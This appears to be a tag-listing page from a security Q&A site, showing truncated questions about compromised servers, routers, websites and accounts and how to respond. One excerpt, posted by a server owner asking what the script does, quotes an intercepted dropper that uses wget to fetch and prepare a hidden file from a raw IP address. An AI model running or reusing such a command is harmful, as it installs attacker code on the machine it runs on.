Questions tagged [system-compromise]

Dealing with a system compromise: your defenses failed, now what?

Filter by
Sorted by
Tagged with
169
votes
10answers
41k views

Should I be concerned if the “FBI” has logged onto my Ubuntu VPS?

Yesterday, I was performing a bit of general maintenance on a VPS of mine, using the IPMI console my host provided. Upon setting up SSH keys again via the IPMI console, I logged in via SSH and was ...
165
votes
6answers
24k views

How do I deal with a compromised server?

I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are ...
161
votes
10answers
20k views

How do you explain the necessity of “nuke it from orbit” to management and users?

When a machine has been infected with malware, most of us here immediately identify the appropriate action as "nuke it from orbit" - i.e. wipe the system and start over. Unfortunately, this is often ...
73
votes
8answers
18k views

How can Twitter and GitHub be sure that they haven't been hacked?

Yesterday, Twitter anounced that they recently identified a bug that stored passwords unmasked in an internal log. Recently, Github also had a similar bug. In both cases, they claim that nobody had ...
68
votes
7answers
23k views

Is it possible the person sitting across from me at Starbucks was trying to hack my laptop?

I was using my laptop at a Starbucks on a table, and a person was using a laptop on the same table across from me, a couple seats to my side. He flicked some plastic thing across the table towards my ...
28
votes
12answers
6k views

Is there a secure way to transfer data outside the Internet?

Since, recently, it has been proven that transferring data through the usb port is fundamentally flawed, I'm wondering if there are 100% secure ways to transfer data without using the Internet. ...
28
votes
4answers
5k views

A tiny version of wget (51 bytes?)

On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and: This DVR ...
24
votes
7answers
8k views

A government agency sent our website admin an email that our website had been defaced

We got an official email saying that our website had been hacked. They cited the URL to use to see the new suspicious file that had been dropped in our web root folder (s.htm). Just some text about a "...
16
votes
5answers
7k views

KeePass security local malware

Can a malware that infected your local computer compromise a KeePass database stored locally in any way? If yes, what's the point for KeePass to have such strong security mechanisms if it cannot ...
15
votes
1answer
656 views

Should a server be considered compromised simply because a port was open?

Earlier today I received a notification of a security incident at Mandrill. At first I was concerned, but then after I dove into the details I became confused as to why they considered this noteworthy ...
13
votes
3answers
3k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
12
votes
3answers
3k views

Would encrypting a database protect against a compromised admin account?

I was discussing with someone ways to prevent data disclosure from a compromised admin account on a database server. The other person proposed encrypting the data at rest within the database. It ...
10
votes
3answers
482 views

Yahoo Security Breach Affecting 500,000,000+ Accounts: Why would they believe it was “state-sponsored”?

It was recently disclosed that private information pertaining to over 500 million Yahoo accounts was stolen. Yahoo's Chief Information Security Officer, Bob Lord, states that the information was ...
10
votes
1answer
4k views

How do I deal with a compromised network device?

I suspect that a network device (modem, router. switch, access point, etc) is compromised. What should I do?
9
votes
5answers
4k views

Forensic research: What OS to use [closed]

I have been given an assignment from my school, in wich I have been given a Virtual image of a compromised system. The first thing I need to do is setup a environment to wich we can mount the image. I ...
9
votes
2answers
5k views

How did hackers compromise my EC2 instance?

My EC2 instance was hacked recently. It doesn't really matter as I'm just starting my website and there was no sensitive information on my server yet, but I do plan for there to be in the future. I am ...
8
votes
6answers
581 views

I am a political activist, its likely that my computer will be compromised in the future, how can I secure my data?

I have sensitive data to secure. My computer may likely be compromised physically in the future. How can I secure my date from various attacks like Evil Maid attacks and so forth. I have some basic ...
8
votes
5answers
7k views

How can a PHP file be added over and over to my hacked site?

I'm on a shared hosting plan (I know, I know) on GoDaddy and all the files in it have been hacked. There are multiple sites in the plan, each of them has a folder. The folders and sub-folders of each ...
7
votes
2answers
609 views

What does “Change your password everywhere else” e-mail from compromised service mean?

I've recieved an e-mail from ubuntuforums.org a couple of hours ago: [...] the attacker has gained access to read your username, email address and an encrypted copy of your password from the forum ...
7
votes
2answers
2k views

How do compilers detect buffer overflow?

I just started researching about security at the systems level and challenges, especially with respect to low level languages such as C/C++ and Objective-C. I have understood buffer overflow and how ...
7
votes
3answers
267 views

Server Infection: post-cleanup best practices

I've read through How do I deal with a compromised server? and have followed the steps to cleaning-up/mitigating any future damage. I'm just wondering if there are any post-clean up steps that are ...
6
votes
1answer
314 views

Is it unsafe to restore backed up data from Google servers?

I have an Android smartphone that I don't trust. It has an old version of Android and has been vulnerable to Stagefright and a host of a hundred other vulnerabilities for months. Although there is no ...
5
votes
2answers
1k views

How do I know my tools aren't compromised? [closed]

After reading different articles, most notably/concerningly: If the NSA has been hacking everything, how has nobody seen them coming? Ken Thompson's Hack (more the concept than specifics) I am ...
5
votes
1answer
431 views

How was IronChat compromised?

How was IronChat compromised? https://hotforsecurity.bitdefender.com/blog/police-crack-encrypted-chat-service-ironchat-and-read-258000-messages-from-suspected-criminals-20530.html Dutch police ...
5
votes
1answer
716 views

My dlink router seems to be compromised

By chance I read today about this huge vulnerability regarding my router Dlink DIR-600. ( http://www.s3cur1ty.de/m1adv2013-003 ) Just out of curiosity about what I would find, I tried to send some ...
5
votes
1answer
207 views

Is there a “security fail forum / website” with lessons learned?

I have done some searching, and cannot seem to find this. Does anyone know of a "security fail forum" that lists embarrassing and / or damaging results from lack of security practices? I would like ...
5
votes
1answer
220 views

Reality check: what actions should be taken if an hack attempt seems to be a false positive

Premise: Some time ago a friend of mine created a Microsoft based mail account (Live Id/Microsoft Account. He just needed the mail) to use for receiving some messages. The account was created and ...
4
votes
4answers
2k views

Preventing tampering of ~/.ssh/authorized_keys

If a server is compromised, an attacker could add his own public key to authorized_keys. How is this prevented? Who should have what access to the file?
4
votes
1answer
126 views

Being directed to hacked site only when searched through Yahoo

A local wolf sanctuary had just posted a warning on Facebook to not visit their site because it had been hacked. However, it only sends you to the hacked site when searching through Yahoo. I was ...
4
votes
2answers
2k views

Ransomware - Full disk wipe versus formatting

Typically when I encounter ransomware/cryptoware on a device I will fully wipe the drive(s) with at least one pass using a utility such as DBAN. I sometimes wonder if I am overestimating the potential ...
4
votes
3answers
289 views

I just found out I have unknowingly been sending a password not using SSL, how likely is it that I have been compromised?

I just realized that I have been connecting (sending user name and password) to my production MongoDB database for several weeks using MongoChef (a database GUI) without the SSL option enabled. I ...
4
votes
2answers
2k views

For remotely unlocking LUKS volumes via SSH, how can I verify integrity before sending passphrase?

Although this is closely related to the recently closed question Evil maids in the server room [closed], I believe that it's more answerable. I'd like to unlock LUKS volumes on remotely hosted ...
4
votes
1answer
1k views

Indicators of Compromise

Just to get an understanding of how indicators of compromise works. Take For example, in this article, the SMB tool. There is a MD5 hash for it. So is my firewalls or IDS supposed to be able to detect ...
3
votes
2answers
888 views

Phishing e-mail replied to internal email. What is compromised?

We have received a phishing email trying to get money from us, this email came from an account that was spelled closely to our work email but not quite the same. I have looked up the domain and ...
3
votes
1answer
170 views

My local machine was infected with malware from a clients web server

I have a client that I developed a new site for, it's not live yet because he wanted me to backup the old site first. This was a completely custom "directory" type site and the company that built it (...
3
votes
1answer
105 views

One computer on our network was hacked and stole hundreds of accounts on different websites - what are correct steps to take?

Someone in our company long time ago downloaded infected Windows Server copy from torrent site and kept it as test server in our network till now. Recently, our administrator noticed huge outgoing ...
3
votes
1answer
178 views

A bot edited all pages on my Wordpress installation

I manage a Wordpress site for an event registration. The site is only active for a few months a year. The rest of the year it's idle, as in it's up, but not actively maintained. Now the time has come ...
3
votes
1answer
141 views

Is it considered “hacking” if there is no authorization implemented? [closed]

Recently came across a theoretical moral dilemma - The Oxford dictionary defines the computer security form of 'hack'/'hacking' as: "Gain unauthorized access to data in a system or computer" ...
3
votes
1answer
236 views

Why would an attacker authenticate to my Google Search Console?

Someone uploaded (I don't know how how but I think via my Wordpress which was outdated for just a day...) a Google Search Console authentication to my server. I just realized this because Google ...
3
votes
1answer
191 views

Freezing creates unusual pattern in kern.log

My server freezed a few days ago. After restarting I immediately checked the logs and the only trace I saw were some dots in the kern.log. To my surprise, a day or two later these dots disappeared ...
3
votes
1answer
215 views

Decrypting possibly compromised Veracrypt hard drive

I have a Veracrypt encrypted hard drive, a system drive encryption with the operating system. The laptop is possibly compromised, which is why I can't decrypt it directly on the laptop I don't know ...
3
votes
0answers
135 views

Who is responsible for a compromised computer? [closed]

In light of the recent public hacks on public systems, is there any culpability for the owner of a compromised system? Two examples: The owner is a large public company that leaks sensitive ...
2
votes
2answers
3k views

Weird URL showed when telnet to my server [closed]

I don't know how to ask this because this is something new for me, I try telnet to my server and the output was like this: Trying <IP>... Connected to www.tjto6u0e.site. Escape character is '^]'...
2
votes
2answers
1k views

Is my computer trying to download something malicious from Dropbox?

My wife's computer was recently compromised and I have tried to clean it. I installed Microsoft Network Monitor to see if there was any unexplained internet traffic and I noticed a connection to ...
2
votes
1answer
273 views

Server protection measures from authorities

I am on a project which is illegal in my nation but is not illegal anywhere in the world. In order not to get a 100yr sentence I should be prepared for seizures and forensics. I am running a server ...
2
votes
2answers
3k views

Received an email about an “Etsy” Password Reset due to the “Linkedin Breach…” is this a phishing attempt?

I received an email today from Etsy saying they are resetting my password(from the source it looks like a mass reset of all users), due to there being some sort of Linkedin breach, that compromised ...
2
votes
1answer
404 views

Any real-world examples of root certificate store compromises?

Apart from the infamous Superfish/Lenovo case this year, are there any other known cases of a malicious root certificate being installed on a target machine to allow transparent MITM attacks, whether ...
2
votes
2answers
1k views

exploiting setuid and setgid bit

I was reading material on secure coding and at many places it is mentioned not to use setuid and setgid bits for privilege escalation. These a vulnerable and can lead to security issues. Instead we ...
2
votes
2answers
110 views

Compromise of a Public JS Library

I was listening to a podcast about cybersecurity, and I heard that a public JavaScript library was compromised by attackers who injected a credit card scraper into the library, and then every site ...
2
votes
3answers
155 views

How to reset account passwords after falling victim to password reuse?

I recently had one of my accounts compromised after falling victim to an online phishing scam. To make matters worse, while I've used unique passwords for any account created in the past few years, my ...